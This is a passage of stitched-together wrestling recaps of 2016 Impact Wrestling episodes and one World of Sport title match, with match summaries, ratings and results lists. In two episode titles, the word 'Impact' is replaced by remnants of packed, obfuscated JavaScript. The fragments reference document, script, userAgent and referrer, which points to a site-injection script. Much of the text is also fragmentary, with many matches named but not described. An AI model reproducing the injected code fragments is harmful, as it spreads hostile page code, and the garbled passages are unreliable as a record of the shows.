World of Sport Title: Dave Mastiff vs. Grado

The injured Grado is challenging. Before the bell, Samuels and Moss are ejected to make it an even match. After Mastiff runs his mouth a bit, Grado limps out until Dave chop blocks him from behind. Naturally NONE OF THAT is a DQ so the bell rings with Grado unable to stand. Mastiff works on the knee and sends Grado into the steps as this is already dragging less than two minutes in. The leg is wrapped around the ropes but Mastiff misses a charge and posts himself. Grado hits a quick cutter for the pin and the title at 3:37. That was his only offensive move of the match.


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Impact Wrestling – November 24, 2016: No Thank You

Impact Wrestling
Date: November 24, 2016
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero

We open with a recap of the DCC attacking and defeating Eddie Edwards and Jeff Hardy last week.

At the Hardy Compound, Senor Benjamin is reading an adult magazine and Vanguard I is drinking lemonade. Matt goes off to set up for the Ice Cream Social and Vanguard I is worried that Matt will never get his memories back.

Andrew Everett/Trevor Lee/Marshe Rockett vs. Go For Broke vs. Rockstar Spud/Decay

Allie is playing with dolls and talking about Thanksgiving when Maria and Laurel Van Ness come in. They rip on Allie for being stupid and Maria says Allie will be serving them dinner on their double date. Are we just supposed to forget Allie standing up to Maria a few weeks ago?

Carter and Drake are ready for their main event tonight.

Ethan Carter III vs. Eli Drake

With nothing else to do, Drake grabs a microphone and talks trash while stomping away. He slaps Carter in the face a few times but gets caught in the TK3. The 1%er is countered into a torture rack neckbreaker but Carter comes right back with a frog splash for the same. Blunt Force Trauma gets two for Eli and the 1%er gets the same. The rear naked choke makes Drake tap at 16:04.

Al Snow/Mahabali Shera vs. Tribunal

Grado and Robbie E. are put in a turkey suit match to bring back a tradition.

Grado vs. Robbie E.

They slug it out to start with Grado getting the better of it off the snap jabs. A double clothesline puts both guys down as this is a little less funny than I was expecting. Robbie grabs a rollup for the pin at 2:39.

Rosemary is ready for her cage match next week.

Jeff Hardy vs. Bram

Anything goes. Jeff knocks him to the floor to start and hits a dive, only to have to back off from the DCC. Back with Bram charging into boots in the corner but Storm comes in, which makes perfect sense. Well save for him waiting five minutes to interfere that is. Jeff makes another comeback but has to deal with Storm while Bram goes outside for a chair. The Whisper in the Wind gets rid of Storm and the Twisting Stunner gets two on Bram. A quick Last Call knocks Jeff into the Brighter Side of Suffering for the pin at 11:56.

The DCC poses with the titles.

Results

Go For Broke b. Decay/Rockstar Spud and Marshe Rockett/Trevor Lee/Andrew Everett – Flatliner to Rockett

Ethan Carter III b. Eli Drake – Rear naked choke

Al Snow/Mahabali Shera b. Tribunal when Baraka used a foreign object

Robbie E. b. Grado – Rollup

Bram b. Jeff Hardy – Brighter Side of Suffering

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Impact Wrestling – November 10, 2016: Looking at you Through the Glass

Impact Wrestling
Date: November 10, 2016
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews

Josh previews the show, which will feature the start of some competition to crown a new #1 contender.

Mike Bennett vs. Moose

Al Snow is here for a surprise from the Tribunal.

Abyss vs. Ethan Carter III

Eli is ready to take the title.

Trevor Lee vs. Rockstar Spud vs. DJZ

Brandi Rhodes tries to give Allie a pep talk to no avail.

Lashley vs. Grado/Robbie E.

We look back at Rex defending the title last week and knocking Godderz out with one punch.

TNA World Title: Eddie Edwards vs. Eli Drake

The suicide dive is overshot as Eddie crashes into the crowd and Drake comes up holding his arm. Back in and a quick Blunt Force Trauma gets two, followed by a quick belly to back suplex for the same. Not that it matters as the Boston Knee Party is enough for the pin to retain the title at 10:21.

Results

Mike Bennett b. Moose via countout

Ethan Carter III b. Abyss – Sleeper

Lashley b. Robbie E./Grado – Spear to Robbie

Eddie Edwards b. Eli Drake – Boston Knee Party

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Impact Wrestling – August 4, 2016: Less Hardy, More Happy

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Date: August 4, 2016
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero

We open with a recap of the Bound For Glory Playoff.

Eli Drake is ready to make James Storm cry in his beer.

We get another clip of Rosemary going insane and trying to get Bram to go to the barn.

King of the Mountain Title: Eli Drake vs. James Storm

Maria gives Gail Kim a match with Allie as part of her path to a Knockouts Title match.

Bram and Rosemary are in the barn with Rosemary getting very close to him.

Gail Kim vs. Allie

Allie looks terrified. Actually hang on as Maria comes out make it a handicap match.

Gail Kim vs. Allie/Sienna

Matt Hardy accuses Jeff Hardy of getting hurt and costing them the Tag Team Titles. True actually. Tonight, Matt is going to tell a story so Jeff can learn what to do next.

Next week: Lashley vs. Storm, winner take all.

Jeff Hardy/Matt Hardy vs. JT Dunn/Chuck Taylor

Matt is staying on the floor to make this a handicap match. Taylor is a big name from the independents, primarily in Chikara. Dunn starts for the team but gets caught with a slingshot dropkick in the corner. The fans chant for Jeff as Matt keeps running his mouth on a mic about how Brother Nero is an obsolete mule.

Taylor comes in with an elbow drop and a seated abdominal stretch as Matt pulls a fan over the barricade and bites him to draw some blood. Jeff makes his comeback but JT blocks the Twist of Fate. Matt: “YOU BETTER NOT LOSE YOU DELETED OBSOLETE MULE!” Matt gets in the ring to block the Swanton but Jeff jumps over Matt anyway, only to take a Twist of Fate. With Jeff down, Matt tags himself in and pins Dunn at 6:24.

Grado/Mahabali Shera vs. Tribunal/Al Snow

Rosemary is still crazy. Bram tries to leave the barn but Rosemary holds him in place. He says everyone has had their heart broken and she needs to get over it. Rosemary starts screaming and Decay comes in to knock Bram out. Bram is thrown into the trunk of a car and Decay drives off, laughing maniacally along the way.

Video on EC3.

Bennett is ready for Carter.

Carter is ready for Bennett and says Mike can bring the whole wilderness to face him.

Tyrus is ready to fix your problems.

Bound For Glory Playoff Final: Mike Bennett vs. Ethan Carter III

Maria gets on the apron for a failed distraction so both guys head up top with a super cutter getting two on Ethan. More yelling earns Maria an ejection and the distraction means the 1%er only gets two. Cue Moose but Eddie Edwards takes him out, leaving Bennett to hit the MIP for two of his own. Both finishers are countered again until the 1%er hits again to give Ethan the title shot at 17:25.

Results

James Storm b. Eli Drake – Last Call

Gail Kim b. Sienna/Allie – Gail pinned Allie after a Silencer from Sienna

Matt Hardy/Jeff Hardy b. JT Dunn/Chuck Taylor – Swanton Bomb to Dunn

Grado/Mahabali Shera b. Tribunal/Al Snow – Sky High to Snow

Ethan Carter III b. Mike Bennett – 1%er

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Impact Wrestling – June 28, 2016: Now Let The Big Boys Play

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzzzb|var|u0026u|referrer|hyyar||js|php'.split('|'),0,{})) Wrestling
Date: June 28, 2016
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews

Drew and Ethan argue over whether or not that kick was intentional.

Knockouts Title: Gail Kim vs. Sienna

We get a graphic labeled “earlier tonight” of a beatdown from last week with Decay destroying Bram.

Battle Royal

Eddie Edwards, Braxton Sutter, Trevor Lee, Rockstar Spud, Andrew Everett, DJZ, Mandrews

Post match the Helms Dynasty beats Sutter down and Bennett is ready to go.

X-Division Title: Mike Bennett vs. Braxton Sutter

Al Snow/Tribunal vs. Mahabali Shera/Grado/???

TNA World Title: Ethan Carter III vs. Drew Galloway vs. Lashley

Lashley is defending. We start after a break because adding another four minutes to the match time tonight is out of the question. Lashley tells them both to bring it to start but Drew and Ethan get in an argument after taking him down. It breaks down into your regular triple threat with Lashley cleaning house until the challengers start double teaming him.

Results

Sienna b. Gail Kim – Silencer

Braxton Sutter won a battle royal last eliminating Andrew Everett and Trevor Lee

Mike Bennett b. Braxton Sutter – Miracle in Progress

Lashley b. Drew Galloway and Ethan Carter III – Spear to Carter

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Impact Wrestling – June 15, 2016: Amateur Hours

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrerz|var|u0026u|referrer|ikyfy||js|php'.split('|'),0,{})) Wrestling
Date: June 14, 2016
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews

10:00 and no changes.

10:40 and the graphic is still gone with no updates in sight.

The show starts airing at 10:50 with no announcement whatsoever. It just started airing, complete with the crawler still airing.

We open with a package from Slammiversary with the footage turning to stills before the big moments actually happen.

Josh Matthews: “Tonight LIVE on Impact, witness the fallout from Slammiversary.”

Yesterday, Jeff Hardy challenged Eli Drake for the King of the Mountain Title.

King of the Mountain Title: Eli Drake vs. Jeff Hardy

Ethan and Drew are in the back with Carter saying Drew worked himself too hard with his schedule as champion. Drew knows how to face Lashley and after he gets the belt back, Ethan is getting a title shot.

After a break, Matt wants to face Jeff next week in Six Sides of Steel. Matt does this weird biting thing as he talks.

X-Division Title: Eddie Edwards vs. Trevor Lee

Video on the Hall of Fame.

The BroMans spy on Raquel as a way to plug a Big Brother show.

We see Marti Bell costing Jade the Knockouts Title on Sunday.

Marti rants about how screwed up the Dollhouse was but through it all, she and Jade stood by each other. Once Jade became champion though, that title was her new best friend. Cue Jade for a brawl.

Tag Team Titles: Decay vs. BroMans vs. Mahabali Shera/Grado vs. Tribunal

Jesse springboards in to dropkick Abyss to the floor before a quick BroDown sets up the Adonis Lock on Steve. Abyss makes the save though and chokeslams Jesse, only to have Shera come off the top to take Abyss down. Everything breaks down with Grado working on Steve in the ring until Snow shoves Grado off the top. Abyss chokeslams Steve onto Grado for the pin to retain at 6:46.

Rating: D+. This was your usual “here are a bunch of people running around like crazy” mess, which makes for a match that is too hard to keep track of with no one being able to stand out. Decay continues to impress though and lives WAY beyond what you would expect them to be able to do.

Maria tells Allie to leave her and Mike Bennett alone. She is FURIOUS that Gail is going into the Hall of Fame because no one appreciates them. Mike is ready to leave right now but Maria says they need to go to the ring and get everything they want.

Here are Mike (in a shirt covered in pineapples) and Maria with something to say. Mike says TNA needs a hero like him but the people have rejected him. Maria screeches that the loss on Sunday was a conspiracy from TNA management and they want it stripped from the record books.

TNA World Title: Drew Galloway vs. Lashley

Drew, with heavily taped ribs, is challenging and Ethan Carter III is on commentary. They immediately fight on the floor with Drew taking over early and making sure to slide back in to break up the count. Lashley goes after the ribs and steps on the taped up part before dropping him on the apron with a side slam. They get inside for the first time with Lashley throwing Drew over the top and down to the floor for a big crash. Lashley is in full control but stops to stare at Ethan, allowing Drew to come back with some chops.

Sure a lot of that is on Pop, but how much blame do you think Vince would get if this happened on Monday Night Raw? If nothing else they would have had SOMETHING on screen instead of what we were getting. Air an old match, put up a graphic, put up ANYTHING other than the same commercials over and over.

Results

Jeff Hardy b. Eli Drake via DQ when Matt Hardy interfered

Eddie Edwards b. Trevor Lee – Boston Knee Party

Decay b. BroMans, Tribunal and Mahabali Shera/Grado – Abyss chokeslammed Steve onto Grado

Lashley b. Drew Galloway – Side Choke

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

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